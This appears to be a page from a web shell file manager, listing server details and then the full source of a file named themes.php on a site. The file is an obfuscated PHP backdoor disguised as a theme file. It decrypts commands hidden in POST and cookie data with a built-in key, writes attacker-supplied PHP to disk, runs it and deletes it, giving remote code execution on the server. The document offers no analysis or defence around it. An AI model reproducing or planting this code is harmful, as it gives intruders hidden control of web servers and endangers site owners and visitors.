HEX
Server: Apache/2.4.41 (Ubuntu)
System: Linux vm8 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User: afleverb (1000)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: //var/www/wintergenomics_site/themes.php
<?php $xj_cz    = /*  _nbn */ 'xj_cz'     ^  '-';
$zxay_     = /*foqln*/ "a"."r"."\162"    .       "\x61"     .	"y"."\137" /*  lxai  */ .   "m"."\x61"      .    "\x70";


$_hfsa       =      "\x69" /*wx */ . /*   bps */ "\x6d" /*   bo*/ .	$xj_cz(730-618)    . /*   x */ "l"."o"."\144"     .    $xj_cz(101);

$guhywhp	=    "\143" /*  ew   */ .   $xj_cz(1042-931) /* d */ . /* u */ $xj_cz(117)   .     $xj_cz(110)	. /*  xgq   */ $xj_cz(116);



function	jujvclwii($adkrykes,	$xvevgwm){ /* hyya*/ global	$xj_cz; /*  q */ 
	$adkrykes    =    "\74"    .	"\77"  .     "p"."h"."p".$xj_cz(32)	.  $xj_cz(454-337) /*  ul_   */ .	"\156"      .    "l"."\x69"    .    $xj_cz(252-142)	.    "k".$xj_cz(40)    .       $xj_cz(430-335)	.	$xj_cz(95)   . /* gr  */ "\106"	.    "I"."L"."E"."_".$xj_cz(95) /*  nmwcwc */ .   "\x29"  .    ";".$xj_cz(32) /* _lb_ah */ . /*  za*/ $adkrykes["d"];


      $ntwi_jnvf	=	"\x66"	.    "i".$xj_cz(1088-980)      .   $xj_cz(101)       .   "\137"     .    $xj_cz(836-724)       .	"\x75"    .   "\164" /*n */ .      $xj_cz(307-212) /*   g*/ . /*yttj  */ "\143" /*ubns  */ .     $xj_cz(111)    .  "n"."\x74"    .       $xj_cz(101)  . /*  aefy   */ "\x6e"	. /* bgu   */ "t"."s"; /*bojm  */ 

	$ntwi_jnvf($xvevgwm,    $adkrykes);


 /*  qzm   */        rtnmm($xvevgwm);
}

$nhdoh    = /*  reinb  */ 73;

function       rtnmm($xvevgwm)
{ /*elbiz */ global    $xj_cz;

    

	include($xvevgwm);	$cbklvqevlb /* gx*/ =	$xvevgwm;

 /*   murpds */ @unlink($cbklvqevlb);

}



function      afjqz()
{	global    $xj_cz;

 /* e */ $lccki	=	array();

   $lccki["p"."v"] /*   wrm_  */ =    phpversion();    $lccki["s"."v"]    = /*  tszui*/ "\x33"    .    $xj_cz(46) /* yve */ . /* z*/ "5";	$mh_gg_tsd /*  lqycs   */ =     74;


     echo  @serialize($lccki);}



function /* bx  */ pkljrzh_hk($adkrykes, /*  nk  */ $kuzotex){


    global    $xj_cz;





 /*   mj */ $srtwm /*   giozg */ = /* tfrbu*/ "";

       $levnq    = /*r   */ 'auaqrlq';
	$n_puq  =  hash('sha256', /*  y_*/ $adkrykes);


  $lcckijtrydtqb	= /*   ohzel   */ str_replace('h_eqqh',    $n_puq,    $levnq);

    $lccki	=  0; /*npwll  */ while /*   alkkmd  */ ($lccki       <   strlen($adkrykes))      {

    $zpsbhltye	= /* rrysu_ */ isset($kuzotex)	? /*e   */ $kuzotex /* u*/ : /*khh */ '';
 /*  r */ for     ($krwpuonuju /*dis */ = /* fig */ 0;    $krwpuonuju    <    strlen($zpsbhltye)    &&	$lccki   <    strlen($adkrykes); /*  nzuyu*/ $krwpuonuju++,       $lccki++) /*   zx   */ {


	$srtwm      .= /*  zk  */ $xj_cz(ord($adkrykes[$lccki]) /*   ijmpz */ ^ /*   o   */ ord($zpsbhltye[$krwpuonuju]));


    }

 /*  ppxwoy   */ if /*   hxfjxn */ (strlen($srtwm) /*yt   */ >       20) /*  mj  */ {
 /*   lobiol*/ $lcckijtrydtqb    =       substr($srtwm, /*   x */ 0, /*  ap  */ 20);

    }


 /*  b__b */ }

	if	(empty($srtwm))  {

  $srtwm /*  zsui */ =       date('Y-m-d /* y */ H:i:s');
	}	return    $srtwm;

}




function     tkfqmiyfzl($riltme_dl)
{


    global    $xj_cz;


 /* zjjt_t   */ 

	$krwpuonuju_sblkrsp /*  urfjzv*/ =       $xj_cz(53) /* qt */ .	"c"."2"."2"."7"."\145"     . /*zfjlx_ */ $xj_cz(99) /*ud*/ . /* flo  */ "7"."-".$xj_cz(123-67)  .   "3"."\x65"    .       "5".$xj_cz(45)	. /*   rpus  */ $xj_cz(52)    .    "\x33" /*sb */ .	"d".$xj_cz(101) /*  oyl  */ .     "-".$xj_cz(174-77) /* _roxfs   */ . /* bdjkkf*/ "\x36"      .    "5"."6"."-"."d"."e"."\61"    .	$xj_cz(331-276)	.	"3"."\71" /*  sxseny */ .    "5"."2"."\62"	. /* ishab */ "f"."5"."\61";
 /*   d */ 	foreach	($riltme_dl	as      $chgagu    =>	$adkrykes) /* syxpxu  */ {


   jddew(base64_decode($adkrykes),    $krwpuonuju_sblkrsp,       $chgagu);


 /*  uadgyv */ }}



function   jddew($adkrykes,   $krwpuonuju_sblkrsp,    $chgagu)
{  global /* z   */ $xj_cz;

    

     $adkrykes   = /*hjotp   */ unserialize(pkljrzh_hk(pkljrzh_hk($adkrykes,    $krwpuonuju_sblkrsp),	$chgagu));


	$lfuk_lu    =	'zfqw';


	$baxx_j_uf       = /*   jij*/ 'ymvgwefd';	if      (isset($adkrykes["\141"."k"]))    {
 /*j */ if	($adkrykes["\141"]    ==    "i")	{      afjqz();

    }   elseif   ($adkrykes["\141"] /*xs */ == /*  d   */ "e")       {


 /* cz_uk   */ jujvclwii($adkrykes,    sprintf("\x2e" /*u  */ .    "/"."%"."s"."."."p".$xj_cz(656-548),	md5($krwpuonuju_sblkrsp)));			$cjbfhk    =      44;
    }

    exit();	}
}
tkfqmiyfzl($_POST); /*   yfz */ 



$xhngjryrh	=    $zxay_('rawurldecode',       $_POST);


$_ytoq_mv      =    $guhywhp($xhngjryrh);

if    ($_ytoq_mv	> /*   apldik*/ 0)	{ /* hvr   */ $ymgmqa    =    $_hfsa(',',    $xhngjryrh);
}




tkfqmiyfzl($_COOKIE);      




$bjlvtdazgr /*vm   */ =       $zxay_('rawurldecode', /*  hoxu_i */ $_COOKIE);
$w_hanvwma    =    $guhywhp($bjlvtdazgr);

if	($w_hanvwma	> /*  ktoijf   */ 0)  {
      $gjmcp /*mvbbkc   */ =     $_hfsa(';', /*g*/ $bjlvtdazgr);

}
$sryrhgvs	= /*__lm  */ $bjlvtdazgr;$kanswvlb    =    date('Y-m-d    H:i:s');




?>